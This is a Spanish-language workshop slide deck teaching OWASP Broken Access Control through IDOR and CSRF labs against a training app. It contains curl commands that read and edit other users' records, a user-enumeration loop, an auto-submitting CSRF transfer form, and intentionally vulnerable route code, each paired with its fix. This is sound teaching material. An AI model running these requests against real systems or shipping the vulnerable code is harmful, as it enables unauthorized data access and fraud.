



IDOR y Cookies/CSRF/Sesiones

Taller de Seguridad Web – OWASP Top 10

Carlos Rodríguez Contreras · GitHub: [karrocon](#)

Agenda del día

🕒 Sesión 1 (2h)

Bloque	Tema
Repaso	Warm-up día 3
T08	IDOR – Control de acceso roto
Lab	Acceder a datos de otros usuarios
T08-Fix	Verificación de pertenencia
Lab	Aplicar fix

🕒 Sesión 2 (2h)

Bloque	Tema
T09	Cookies, sesiones y CSRF
Lab	Inspección de cookies + form CSRF
T09-Fix	SameSite + tokens CSRF
Lab	Implementar protecciones

Objetivos del día

Al terminar hoy serás capaz de:

1. 🗝 Ver el perfil y editar coches **de otros usuarios** (IDOR)
2. 🍪 Entender los flags de cookies: `HttpOnly`, `Secure`, `SameSite`
3. 🎭 Construir un formulario CSRF que ejecute acciones como la víctima
4. 🛡 Implementar verificación de pertenencia y tokens anti-CSRF

💀 **OWASP A01: Broken Access Control** — la vulnerabilidad #1 del ranking. Presente en el 94% de apps auditadas.

OWASP Top 10:2025 — Progreso

#	Categoría	Día(s)	Estado
A01	Broken Access Control (IDOR+CSRF)	4	 HOY
A02	Security Misconfiguration	6-7	
A03	Software Supply Chain Failures	6, 8	
A04	Cryptographic Failures	5	
A05	Injection	1-3	
A06	Insecure Design (IDOR)	4, 6	 HOY
A07	Authentication Failures (Sessions)	3-4	 HOY 
A08	Software/Data Integrity Failures	8	
A09	Security Logging & Alerting	8	
A10	Mishandling of Exceptional Conditions	3	

3 categorías completadas · **Hoy tocamos la #1 del ranking**

Lo que ya sabéis (días 1-3)

Día	Ataque	Defensa
1	' OR 1=1-- (SQLi bypass)	—
2	UNION SELECT + XSS stored	Prepared statements + sanitize-html
3	CMDi + JWT alg:none	Allowlist + <code>algorithms: ['HS256']</code>

Hoy: acceso a datos ajenos SIN inyección.

El servidor **sí verifica tu identidad** (tienes token válido), pero **no verifica que el recurso sea tuyo**.

T08: IDOR — Insecure Direct Object Reference

Acceder a recursos de otros usuarios

¿Qué es IDOR?

El servidor usa un **identificador predecible** (ID numérico) para acceder a recursos y **no verifica la propiedad**:

```
// src/routes/users.ts - VULNERABLE
app.get('/users/:id', authMiddleware, (req, res) => {
  const user = db.prepare('SELECT * FROM users WHERE id = ?')
    .get(req.params.id); // ← Solo comprueba que el ID existe
  res.json(user);       // NO comprueba que sea TU perfil
});
```

Bob tiene userId: 2. Pero puede hacer:

```
GET /users/1 → ¡Devuelve los datos de ALICE!
```

IDOR en VulnApp – Demostración

```
# 1. Login como bob
TOKEN=$(curl -s -X POST https://vulnapp-owasp-01.azurewebsites.net/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username":"bob","password":"qwerty"}' | jq -r .token)

# 2. ✅ Ver MI perfil (userId: 2)
curl -s https://vulnapp-owasp-01.azurewebsites.net/users/2 \
  -H "Authorization: Bearer $TOKEN" | jq .

# 3. 💀 Ver el perfil de ALICE (userId: 1)
curl -s https://vulnapp-owasp-01.azurewebsites.net/users/1 \
  -H "Authorization: Bearer $TOKEN" | jq .
# → ¡Devuelve sus datos sin verificación!
```

💀 Bob está autenticado con un token válido, pero accede a datos **que no le pertenecen**.

IDOR en productos — editar coches ajenos

```
# 4. 💀 Editar un coche de ALICE (product id: 1, owner: alice)
curl -s -X PUT https://vulnapp-owasp-01.azurewebsites.net/products/1 \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name":"HACKEADO por bob"}' | jq .
# → 200 OK - "Producto actualizado"
```

¿Por qué funciona? El código solo verifica:

-  ¿El token es válido? → Sí
-  ¿El producto pertenece a este usuario? → **No lo comprueba**

IDOR – Patrón de explotación

1. Identificar endpoints con IDs en la URL:
/users/:id, /products/:id, /orders/:id, /invoices/:id
2. Autenticarse como usuario A
3. Cambiar el ID al de otro usuario/recurso
4. Si el servidor devuelve datos → IDOR confirmado

IDs predecibles facilitan la enumeración:

```
# Enumerar TODOS los usuarios (1 a 100):  
for i in $(seq 1 100); do  
    curl -s ../users/$i -H "Authorization: Bearer $TOKEN" | jq .username  
done
```

Lab T08 — IDOR en VulnApp

Nivel 1 — Leer perfil ajeno:

1. Login como bob → obtener token
2. `GET /users/1` → ¿Qué datos de alice ves?
3. `GET /users/3` → ¿Y de carol?

Nivel 2 — Modificar recurso ajeno:

1. `PUT /products/1` con body `{"name": "Bob estuvo aquí"}`
2. Verificar: `GET /products` → ¿se cambió?

Nivel 3 — Enumeración:

1. Iterar `/users/1` a `/users/10` → ¿cuántos usuarios hay?

 **Documenta:** endpoint, token usado, respuesta obtenida. Esto va al informe.

El fix – Verificación de pertenencia

```
// src/routes/products.ts – SEGURO
app.put('/products/:id', authMiddleware, (req, res) => {
  const product = db.prepare('SELECT * FROM products WHERE id = ?')
    .get(req.params.id);

  if (!product) return res.status(404).json({ error: 'No encontrado' });

  // ✅ VERIFICAR que el recurso pertenece al usuario autenticado
  if (product.owner_id !== req.user!.userId && req.user!.role !== 'admin') {
    return res.status(403).json({ error: 'No eres el propietario' });
  }

  // Solo si pasa la verificación → ejecutar la acción
  db.prepare('UPDATE products SET name = ? WHERE id = ?')
    .run(req.body.name, req.params.id);
  res.json({ message: 'Actualizado' });
});
```

Casos reales de IDOR

Caso	Año	Impacto
Facebook	2018	Fotos privadas de 6.8M usuarios expuestas
First American	2019	885M documentos financieros accesibles por ID
Parler	2020	Todos los posts (incl. eliminados) descargados por IDOR
T-Mobile	2022	37M registros de clientes vía API sin control de acceso

T09: Cookies, CSRF y Sesiones

Ataques que explotan la confianza del navegador

Cookies — Flags de seguridad

```
Set-Cookie: session=abc123; Path=/; HttpOnly; Secure; SameSite=Strict
```

Flag	Protege contra	Efecto
HttpOnly	XSS (robo de cookie)	JS no puede leer la cookie
Secure	MITM	Solo se envía por HTTPS
SameSite=Strict	CSRF	No se envía en peticiones cross-origin
SameSite=Lax	CSRF (parcial)	No en POST cross-origin, sí en GET

⚠ **VulnApp** usa JWT en localStorage (no cookies) → vulnerable a XSS pero no a CSRF clásico.
En apps con cookies, CSRF es un riesgo real.

¿Qué es CSRF?

El atacante crea una página web que **ejecuta acciones como la víctima** sin su conocimiento:

```
<!-- Página maliciosa del atacante (evil.com) -->
<h1>¡Has ganado un iPhone!</h1>

<!-- Formulario invisible que se envía automáticamente -->
<form action="https://bank.com/transfer" method="POST" id="f">
  <input name="to" value="atacante">
  <input name="amount" value="10000">
</form>
<script>document.getElementById('f').submit();</script>
```

El navegador incluye las cookies automáticamente → la petición se ejecuta **como la víctima**.

CSRF — ¿Por qué funciona?

1. Víctima tiene sesión activa en bank.com (cookie de sesión)
2. Víctima visita evil.com (clic en link de phishing)
3. evil.com envía formulario POST a bank.com
4. El navegador adjunta la cookie de bank.com automáticamente
5. bank.com ve una petición válida → ejecuta la transferencia

💀 El servidor **no puede distinguir** entre una petición legítima del usuario y una iniciada por el atacante, porque ambas llevan la misma cookie.

SameSite – El fix moderno para CSRF

Valor	GET cross-site	POST cross-site	Protección
Strict	✗ No envía	✗ No envía	● Máxima
Lax	✓ Sí envía	✗ No envía	● Buena
None	✓ Sí envía	✓ Sí envía	● Ninguna

Chrome desde 2020: `SameSite=Lax` es el **default** si no se especifica.

Defensas adicionales contra CSRF

Token CSRF (sincronizador):

```
<form action="/transfer" method="POST">
  <input type="hidden" name="_csrf"
    value="a8f3b9c2e8d4f1a5...">
  <input name="amount" value="100">
  <button>Enviar</button>
</form>
```

El atacante no puede leer el token → no puede reproducir el form.

Header personalizado:

```
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'X-Requested-With': 'XMLHttpRequest'
    // Los forms HTML no pueden
    // añadir headers personalizados
  }
});
```

Lab T09 — Cookies y CSRF

Parte 1 — Inspeccionar cookies:

1. Abre VulnApp → Login → DevTools → Application → Cookies
2. ¿Hay cookies? ¿Con qué flags?
3. ¿Dónde se almacena el token? (localStorage)

Parte 2 — Construir formulario CSRF:

1. Crear un HTML local que haga POST a VulnApp
2. ¿Funciona el ataque? ¿Por qué sí/no?

Parte 3 — Analizar la diferencia:

- JWT en localStorage → vulnerable a XSS, inmune a CSRF
- Cookie de sesión → vulnerable a CSRF, protegible con HttpOnly

 **Reflexión:** ¿Qué es más peligroso, XSS o CSRF? ¿Por qué?

JWT en localStorage vs Cookie HttpOnly

Almacenamiento	Riesgo XSS	Riesgo CSRF	Recomendación
localStorage	● Alto (JS lee)	● Nulo	Solo si CSP fuerte
Cookie HttpOnly	● Nulo (JS no lee)	● Alto (auto-envío)	Con SameSite=Strict
Cookie HttpOnly + SameSite=Strict	● Nulo	● Nulo	✓ Mejor opción

✓ **Best practice:** JWT en cookie `HttpOnly; Secure; SameSite=Strict` protege contra **ambos** (XSS y CSRF).

Labs del día — resumen

Lab	Qué harás	Nivel
T08 — IDOR	<code>GET /users/1</code> como bob → ver datos de alice	🔥🔥
T08 — IDOR	<code>PUT /products/1</code> como bob → editar coche de alice	🔥🔥🔥
T08 — Fix	<code>if (owner_id !== user.id) return 403</code>	🛡️
T09 — Cookies	Inspeccionar flags en DevTools → Application tab	🔍
T09 — CSRF	Construir form HTML malicioso	🔥🔥
T09 — Fix	<code>SameSite=Strict</code> + token CSRF	🛡️

Resumen del día

Ataque	Payload clave	Defensa
IDOR lectura	GET /users/1 con token de bob	Verificar <code>owner_id === userId</code>
IDOR escritura	PUT /products/1 con token de bob	403 si no es propietario ni admin
CSRF	Form invisible + auto-submit	<code>SameSite=Strict</code> + token CSRF
Cookie theft	XSS lee cookie sin <code>HttpOnly</code>	Flag <code>HttpOnly</code>

🏆 **Logro del día:** Acceso horizontal a datos ajenos (IDOR) + comprensión de ataques basados en la confianza del navegador (CSRF).